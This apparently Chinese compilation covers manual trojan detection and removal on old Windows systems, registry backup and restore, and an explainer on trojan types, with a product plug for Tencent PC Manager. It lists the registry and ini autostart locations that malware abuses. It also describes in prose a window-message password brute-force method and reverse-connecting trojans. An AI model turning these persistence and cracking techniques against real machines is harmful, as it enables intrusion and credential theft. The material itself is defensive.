(2)使用windows2000下的命令行工具fport
E:\softwareFport.exe
FPort v2.0 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
Pid Process Port Proto Path
420 svchost - 135 TCP E:\WINNT\system32\svchost.exe
8 System - 139 TCP
8 System - 445 TCP
768 MSTask - 1025 TCP E:\WINNT\system32\MSTask.exe
8 System - 1027 TCP
8 System - 137 UDP
8 System - 138 UDP
8 System - 445 UDP
256 lsass - 500 UDP E:\WINNT\system32\lsass.exe
(3)使用图形化界面工具Active Ports
这个工具可以监视到电脑所有打开的TCP/IP/UDP端口,还可以显示所有端口所对应的程序所在的路径,
本地IP和远端IP(试图连接你的电脑IP)是否正在活动。这个工具适用于Windows NT/2000/XP平台。
2、查看win.ini和system.ini系统配置文件
查看win.ini和system.ini文件是否有被修改的地方。
例如有的木马通过修改win.ini文件中windows节 的“load=file.exe ,run=file.exe”语句进行自动加载。
此外可以修改system.ini中的boot节,实现木马加载。
例如 “妖之吻” 病毒,将“Shell=Explorer.exe” (Windows系统的图形界面命令解释器)
修改成“Shell=yzw.exe”,在电脑每次启动后就自动运行程序yzw.exe。
修改的方法是将“shell=yzw.exe”还原为“shell=explorer.exe”就可以了。
3、查看启动程序
如果木马自动加载的文件是直接通过在Windows菜单上自定义添加的,
一般都会放在主菜单的“开始-程序-启动”处,
在Win98资源管理器里的位置是“C:\windows\start menu\programs\启动”处。
通过这种方式使文件自动加载时,一般都会将其存放在注册表中下述4个位置上:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Explorer\Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Explorer\User Shell Folders
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\Explorer\User Shell Folders
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\Explorer\Shell Folders
检查是否有可疑的启动程序,便很容易查到是否中了木马。
在Win98系统下,还可以直接运行Msconfig命令查看启动程序和system.ini、win.ini、autoexec.bat等
文件。
4、查看系统进程
木马即使再狡猾,它也是一个应用程序,需要进程来执行。可以通过查看系统进程来推断木马是否存在。
在Windows NT/XP系统下,按下“CTL+ALT+DEL”,进入任务管理器,就可看到系统正在运行的全部进程。
在Win98下,可以通过Prcview和winproc工具来查看进程。查看进程中,要求你要对系统非常熟悉,
对每个系统运行的进程要知道它是做什么用的,这样,木马运行时,
就很容易看出来哪个是木马程序的活动进程了。
5、查看注册表
木马一旦被加载,一般都会对注册表进行修改。一般来说,
木马在注册表中实现加载文件一般是在以下等处:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\RunServices
此外在注册表中的HKEY_CLASSES_ROOT\exefile\shell\open\command=
““%1” %*”处,如果其中的“%1”被修改为木马,那么每次启动一个该可执行文件时木马就会启动一次,
例如著名的冰河木马就是将TXT文件的Notepad.exe改成了它自己的启动文件,
每次打开记事本时就会自动启动冰河木马,做得非常隐蔽。
还有“广外女生”木马就是在HKEY_CLASSES_ROOT\exefile\shell\open
\command=““%1” %*”处将其默认键值改成"%1" %*",
并在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\RunServices添加了名称为"Diagnostic Configuration"的键值;
6、使用检测软件
上面介绍的是手工检测木马的方法,此外,我们还可以通过各种杀毒软件、
防火墙软件和各种木马查杀工具等检测木马。各种杀毒软件主要有:KV3000,Kill3000、瑞星等,
防火墙软件主要有国外的Lockdown,国内的天网、金山网镖等,各种木马查杀工具主要有:The Cleaner、
木马克星、木马终结者等。这里推荐一款工具防护工具McAfee VirusScan ,
它集合了入侵防卫及防火墙技术,为个人电脑和文件服务器提供全面的病毒防护。
木马清除
检测到电脑中了木马后,就要根据木马的特征来进行清除。查看是否有可疑的启动程序、
可疑的进程存在,是否修改了win.ini、system.ini系统配置文件和注册表。
如果存在可疑的程序和进程,就按照特定的方法进行清除。
主要的步骤都不外乎以下几个:
(但并不是所有的木马清除都能够根据下列步骤删除,这里只是介绍清除木马的基本方法)
1、删除可疑的启动程序
查看系统启动程序和注册表是否存在可疑的程序后,判断是否中了木马,
如果存在木马,则除了要查出木马文件并删除外,还要将木马自动启动程序删除。
例如Hack.Rbot病毒、后门就会拷贝自身到一些固定的windows自启动项中:
WINDOWS\All Users\Start Menu\Programs\StartUp
WINNT\Profiles\All Users\Start Menu\Programs\Startup
WINDOWS\Start Menu\Programs\Startup
Documents and Settings\All Users\Start Menu\Programs\Startup
查看一下这些目录,如果有可疑的启动程序,则将之删除。
2、恢复win.ini和system.ini系统配置文件的原始配置
许多病毒会将win.ini和system.ini系统配置文件修改,使之能在系统启动时加载和运行木马程序。
例如电脑中了“妖之吻”病毒后,病毒会将system.ini中的boot节的
“Shell=Explorer.exe”字段修改成“Shell=yzw.exe”,清除木马的方法是把system.ini给恢复原始配置,
即“Shell=yzw.exe”修改回“Shell=Explorer.exe”,再删除掉病毒文件即可。
TROJ_BADTRANS.A病毒,也会更改win.ini以便在下一次重新开机时执行木马程序。
主要是将win.ini中的windows节的“Run=”字段修改成“Run= C:%WINDIR%INETD.EXE”字段。
执行清除的步骤如下:
(1)打开win.ini文本文件,将字段“RUN=C:%WINDIR%INETD.EXE”中 等号后面的字符删除,
仅保留“RUN=”。
(2)将被TROJ_BADTRANS.A病毒感染的文件删除。
3、停止可疑的系统进程
木马程序在运行时都会在系统进程中留下痕迹。通过查看系统进程可以发现运行的木马程序,
在对木马进行清除时,当然首先要停掉木马程序的系统进程。
例如Hack.Rbot病毒、后门除了将自身拷贝到一些固定的windows自启动项中外,
还在进程中运行wuamgrd.exe程序,修改了注册表,以便病毒可随机自启动。
在看到有木马程序在进程中运行,则需要马上杀掉进程,并进行下一步操作,修改注册表和清除木马文件。
4、修改注册表
查看注册表,将注册表中木马修改的部分还原。例如上面所提到的Hack.Rbot病毒、后门,
向注册表的以下地方:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Run
添加了键值"Microsoft Update" = "wuamgrd.exe",以便病毒可随机自启动。
这就需要我们进入注册表,将这个键值给删除。注意:可能有些木马会不允许执行.exe文件,
这样我们就需要先将regedit.exe改成系统能够运行的,比如可以改成regedit.com。
这里就说说如何清除Hack.Rbot病毒、后门的。
(1)将进程中运行的wuamgrd.exe进程停止,这是一个木马程序;
(2)将Hack.Rbot拷贝到windows启动项中的启动文件删除;
(3)将Hack.Rbot添加到注册表中的键值"Microsoft Update"=
"wuamgrd.exe"删除;
(4)手工或用专杀工具删除被Hack.Rbot病毒感染的文件。并全面检查系统。
5、使用杀毒软件和木马查杀工具进行木马查杀
常用的杀毒软件包括KV3000、瑞星、诺顿等,这些软件对木马的查杀是比较有效的,
但是要注意时刻更新病毒库,而且对于一些木马查杀不彻底,在系统重新启动后还会自动加载。
此外,你还可以使用The Cleaner、木马克星、木马终结者等各种木马转杀工具对木马进行查杀。
这里推荐一款工具Anti-Trojan Shield,这是一款享誉欧洲的专业木马侦测、拦截及清除软件。
可以在网站下载。
木马防范
随着网络的普及,硬件和软件的高速发展,网络安全显得日益重要。对于网络中比较流行的木马程序,
传播时间比较快,影响比较严重,因此对于木马的防范就更不能疏忽。
我们在检测清除木马的同时,还要注意对木马的预防,做到防范于未然。
1、不要随意打开来历不明的邮件
现在许多木马都是通过邮件来传播的,当你收到来历不明的邮件时,请不要打开,应尽快删除。
并加强邮件监控系统,拒收垃圾邮件。
2、不要随意下载来历不明的软件
最好是在一些知名的网站下载软件,不要下载和运行那些来历不明的软件。
在安装软件的同时最好用杀毒软件查看有没有病毒,之后才进行安装。
3、及时修补漏洞和关闭可疑的端口
一般木马都是通过漏洞在系统上打开端口留下后门,以便上传木马文件和执行代码,
在把漏洞修补上的同时,需要对端口进行检查,把可疑的端口关闭。
4、尽量少用共享文件夹
如果必须使用共享文件夹,则最好设置帐号和密码保护。注意千万不要将系统目录设置成共享,
最好将系统下默认共享的目录关闭。Windows系统默认情况下将目录设置成共享状态,这是非常危险的。
5、运行实时监控程序
在上网时最好运行反木马实时监控程序和个人防火墙,并定时对系统进行病毒检查。
6、经常升级系统和更新病毒库
经常关注厂商网站的安全公告,这些网站通常都会及时的将漏洞、木马和更新公布出来,
并第一时间发布补丁和新的病毒库等。
采用注册表来管理系统配置,主要是为了提高系统的稳定性,平时操作系统出现的一些问题,
诸如系统无法启动、应用程序无法运行、系统不稳定等情况,很多都是因为注册表出现错误而造成的,
而通过修改相应的数据就能解决这些问题,所以,掌握如何正确备份、恢复注册表的方法,
可以让每一个用户更加得心应手地使用自己的电脑。
一、利用注册表编辑器手工备份注册表
注册表编辑器(Regedit)是操作系统自带的一款注册表工具,通过它就能对注册表进行各种修改。
当然,"备份"与"恢复"注册表自然是它的本能了。
(1)通过注册表编辑器备份注册表
由于修改注册表有时会危及系统的安全,因此不管是WINDOWS 98还是WINDOWS 2000甚至WINDOWS XP,
都把注册表编辑器"藏"在了一个非常隐蔽的地方,要想"请"它出山,必须通过特殊的手段才行。
点击"开始"菜单,选择菜单上的"运行"选项,在弹出的"运行"窗口中输入"Regedit"后,点击"确定"按钮,
这样就启动了注册表编辑器。
点击注册表编辑器的"注册表"菜单,再点击"导出注册表文件"选项,
在弹出的对话框中输入文件名"regedit",将"保存类型"选为"注册表文件",再将"导出范围"设置为"全部",
接下来选择文件存储位置,最后点击"保存"按钮,就可将系统的注册表保存到硬盘上。
完成上述步骤后,找到刚才保存备份文件的那个文件夹,就会发现备份好的文件已经放在文件夹中了。
(2)在DOS下备份注册表
当注册表损坏后,WINDOWS(包括"安全模式")无法进入,此时该怎么办呢?
在纯DOS环境下进行注册表的备份、恢复是另外一种补救措施,下面来看看在DOS环境下,
怎样来备份、恢复注册表。
在纯DOS下通过注册表编辑器备份与恢复注册表前面已经讲解了利用注册表编辑器在WINDOWS环境下备份、
恢复注册表,其实"Regedit.exe"这个注册表编辑器不仅能在WINDOWS环境中运行,也能在DOS下使用。
虽然在DOS环境中的注册表编辑器的功能没有在WINDOWS环境中那么强大,但是也有它的独到之处。
比如说通过注册表编辑器在WINDOWS中备份了注册表,可系统出了问题之后,无法进入WINDOWS,
此时就可以在纯DOS下通过注册表编辑器来恢复注册表。
应该说在DOS环境中备份注册表的情况还是不多见的,一般在WINDOWS中备份就行了,
不过在一些特殊的情况下,这种方式就显得很实用了。
进入DOS后,再进入C盘的WINDOWS目录,在该目录的提示符下输入"regedit"后按回车键,
便能查看"regedit"的使用参数。
通过"Regedit"备份注册表仍然需要用到"system.dat"和"user.dat"这两个文件,
而该程序的具体命令格式是这样的:
Regedit /L:system /R:user /E filename.reg Regpath
参数含义:
/L:system指定System.dat文件所在的路径。
/R:user指定User.dat文件所在的路径。
/E:此参数指定注册表编辑器要进行导出注册表操作,在此参数后面空一格,输入导出注册表的文件名。
Regpath:用来指定要导出哪个注册表的分支,如果不指定,则将导出全部注册表分支。在这些参数中
,"/L:system"和"/R:user"参数是可选项,如果不使用这两个参数,
注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。
如果是通过从软盘启动并进入DOS,
那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径,
否则注册表编辑器将无法找到它们。
比如说,如果通过启动盘进入DOS,
则备份注册表的命令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",
该命令的意思是把整个注册表备份到WINDOWS目录下,其文件名为"regedit.reg"。
而如果输入的是"regedit /E D:\regedit.reg"这条命令,
则是说把整个注册表备份到D盘的根目录下(省略了"/L"和"/R"参数),其文件名为"Regedit.reg"。
( 3)用注册表检查器备份注册表
在DOS环境下的注册表检查器Scanreg.exe可以用来备份注册表。
命令格式为:
Scanreg /backup /restore /comment
参数解释:
/backup用来立即备份注册表
/restore按照备份的时间以及日期显示所有的备份文件
/comment在/restore中显示同备份文件有关的部分
注意:在显示备份的注册表文件时,压缩备份的文件以 .CAB文件列出,
CAB文件的后面单词是Started或者是NotStarted,Started表示这个文件能够成功启动Windows,
是一个完好的备份文件,NotStarted表示文件没有被用来启动Windows,
因此还不能够知道是否是一个完好备份。
比如:如果我们要查看所有的备份文件及同备份有关的部分,命令如下:
Scanreg /restore /comment
注册表恢复
注册表中存放着计算机软硬件的配置信息,病毒、网页恶意代码往往要修改注册表,
平时安装、操作软件也会使注册表内容发生变化。当计算机工作不正常时,
往往可以通过恢复注册表来修复。所以,平时我们应经常备份注册表(运行regedit,导出注册表文件)。
这样,需要时就可以导入过去某个备份,使电脑恢复正常。
如果平时没有导出注册表,则只好通过运行 scanreg /restore来恢复注册表,
或运行scanreg
/fix来修复注册表。不过该命令应该在DOS下执行。对于win98系统,开机时按F8,
选择Command Prompt
Only进入DOS;对于WinMe系统,则可以运行Command进入DOS。当然,也可以用软盘引导系统,
进入C:\windows\command子目录,然后执行上述修复注册表的命令。
目前网页恶意代码最可恶的破坏行为之一是在注册表中禁止了程序运行。
此时因IE无法运行,不能使用在线自动修复;且“微机数据维护”等修复软件也不能运行;
同样也不能导入注册表文件来修复注册表。此时唯一的办法就是在DOS下运行C:\windows
scanreg /restore来修复注册表。
木马文件是什么
你好:
木马文件就是包含木马或者病毒的文件,这种文件通常是不能直接删除的,你可以访问腾讯电脑管家官网,下载安装一个电脑管家,使用电脑管家的杀毒功能来查杀一下,就可以清除它们了
电脑管家的杀毒部分采用的是4+1引擎,包含金山和腾讯两个国内最大的云查杀引擎
以及以高查杀著称的德国小红伞本地引擎,查杀率非常的高,可以完美的清除各种顽
固的木马病毒
如果以后有什么问题,欢迎再来电脑管家企业平台询问,我们会尽心为您解答
腾讯电脑管家企业平台:
特洛依木马是什么东西啊
特洛伊木马(Trojan horse)
古希腊传说,特洛伊王子帕里斯访问希腊,诱走了王后海伦,希腊人因此远征特洛伊。围攻9年后,到第10年,希腊将领奥德修斯献了一计,就是把一批勇士埋伏在一匹巨大的木马腹内,放在城外后,佯作退兵。特洛伊人以为敌兵已退,就把木马作为战利品搬入城中。到了夜间,埋伏在木马中的勇士跳出来,打开了城门,希腊将士一拥而入攻下了城池。后来,人们在写文章时就常用“特洛伊木马”这一典故,用来比喻在敌方营垒里埋下伏兵里应外合的活动
特洛伊木马没有复制能力,它的特点是伪装成一个实用工具或者一个可爱的游戏,这会诱使用户将其安装在PC或者服务器上。
完整的木马程序一般由两个部份组成:一个是服务器程序,一个是控制器程序。“中了木马”就是指安装了木马的服务器程序,若你的电脑被安装了服务器程序,则拥有控制器程序的人就可以通过网络控制你的电脑、为所欲为,这时你电脑上的各种文件、程序,以及在你电脑上使用的帐号、密码就无安全可言了。
木马程序不能算是一种病毒,但越来越多的新版的杀毒软件,已开始可以查杀一些木马了,所以也有不少人称木马程序为黑客病毒。
木马的种类
1、破坏型
惟一的功能就是破坏并且删除文件,可以自动的删除电脑上的DLL、INI、EXE文件。
2、密码发送型
可以找到隐藏密码并把它们发送到指定的信箱。有人喜欢把自己的各种密码以文件的形式存放在计算机中,认为这样方便;还有人喜欢用WINDOWS提供的密码记忆功能,这样就可以不必每次都输入密码了。许多黑客软件可以寻找到这些文件,把它们送到黑客手中。也有些黑客软件长期潜伏,记录操作者的键盘操作,从中寻找有用的密码。
在这里提醒一下,不要认为自己在文档中加了密码而把重要的保密文件存在公用计算机中,那你就大错特错了。别有用心的人完全可以用穷举法暴力破译你的密码。利用WINDOWS API函数EnumWindows和EnumChildWindows对当前运行的所有程序的所有窗口(包括控件)进行遍历,通过窗口标题查找密码输入和出确认重新输入窗口,通过按钮标题查找我们应该单击的按钮,通过ES_PASSWORD查找我们需要键入的密码窗口。向密码输入窗口发送WM_SETTEXT消息模拟输入密码,向按钮窗口发送WM_COMMAND消息模拟单击。在破解过程中,把密码保存在一个文件中,以便在下一个序列的密码再次进行穷举或多部机器同时进行分工穷举,直到找到密码为止。此类程序在黑客网站上唾手可得,精通程序设计的人,完全可以自编一个。
3、远程访问型
最广泛的是特洛伊马,只需有人运行了服务端程序,如果客户知道了服务端的IP地址,就可以实现远程控制。以下的程序可以实现观察"受害者"正在干什么,当然这个程序完全可以用在正道上的,比如监视学生机的操作。
程序中用的UDP(User Datagram Protocol,用户报文协议)是因特网上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没有确认机制,可靠性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。它不区分服务器端和客户端,只区分发送端和接收端,编程上较为简单,故选用了UDP协议。本程序中用了DELPHI提供的TNMUDP控件。
4.键盘记录木马
这种特洛伊木马是非常简单的。它们只做一件事情,就是记录受害者的键盘敲击并且在LOG文件里查找密码。据笔者经验,这种特洛伊木马随着Windows的启动而启动。它们有在线和离线记录这样的选项,顾名思义,它们分别记录你在线和离线状态下敲击键盘时的按键情况。也就是说你按过什么按键,下木马的人都知道,从这些按键中他很容易就会得到你的密码等有用信息,甚至是你的信用卡账号哦!当然,对于这种类型的木马,邮件发送功能也是必不可少的。
5.DoS攻击木马
随着DoS攻击越来越广泛的应用,被用作DoS攻击的木马也越来越流行起来。当你入侵了一台机器,给他种上DoS攻击木马,那么日后这台计算机就成为你DoS攻击的最得力助手了。你控制的肉鸡数量越多,你发动DoS攻击取得成功的机率就越大。所以,这种木马的危害不是体现在被感染计算机上,而是体现在攻击者可以利用它来攻击一台又一台计算机,给网络造成很大的伤害和带来损失。
还有一种类似DoS的木马叫做邮件炸弹木马,一旦机器被感染,木马就会随机生成各种各样主题的信件,对特定的邮箱不停地发送邮件,一直到对方瘫痪、不能接受邮件为止。
6.代理木马
黑客在入侵的同时掩盖自己的足迹,谨防别人发现自己的身份是非常重要的,因此,给被控制的肉鸡种上代理木马,让其变成攻击者发动攻击的跳板就是代理木马最重要的任务。通过代理木马,攻击者可以在匿名的情况下使用Telnet,ICQ,IRC等程序,从而隐蔽自己的踪迹。
7.FTP木马
这种木马可能是最简单和古老的木马了,它的惟一功能就是打开21端口,等待用户连接。现在新FTP木马还加上了密码功能,这样,只有攻击者本人才知道正确的密码,从而进人对方计算机。
8.程序杀手木马
上面的木马功能虽然形形色色,不过到了对方机器上要发挥自己的作用,还要过防木马软件这一关才行。常见的防木马软件有ZoneAlarm,Norton Anti-Virus等。程序杀手木马的功能就是关闭对方机器上运行的这类程序,让其他的木马更好地发挥作用。
9.反弹端口型木马
木马是木马开发者在分析了防火墙的特性后发现:防火墙对于连入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。于是,与一般的木马相反,反弹端口型木马的服务端 (被控制端)使用主动端口,客户端 (控制端)使用被动端口。木马定时监测控制端的存在,发现控制端上线立即弹出端口主动连结控制端打开的主动端口;为了隐蔽起见,控制端的被动端口一般开在80,即使用户使用扫描软件检查自己的端口,发现类似TCP UserIP:1026 ControllerIP:80ESTABLISHED的情况,稍微疏忽一点,你就会以为是自己在浏览网页。
一般的杀毒软件都有杀木马的功能,也有专门的免费杀木马软件。例如YAHOO的反间谍专家,绿鹰等。
0条大神的评论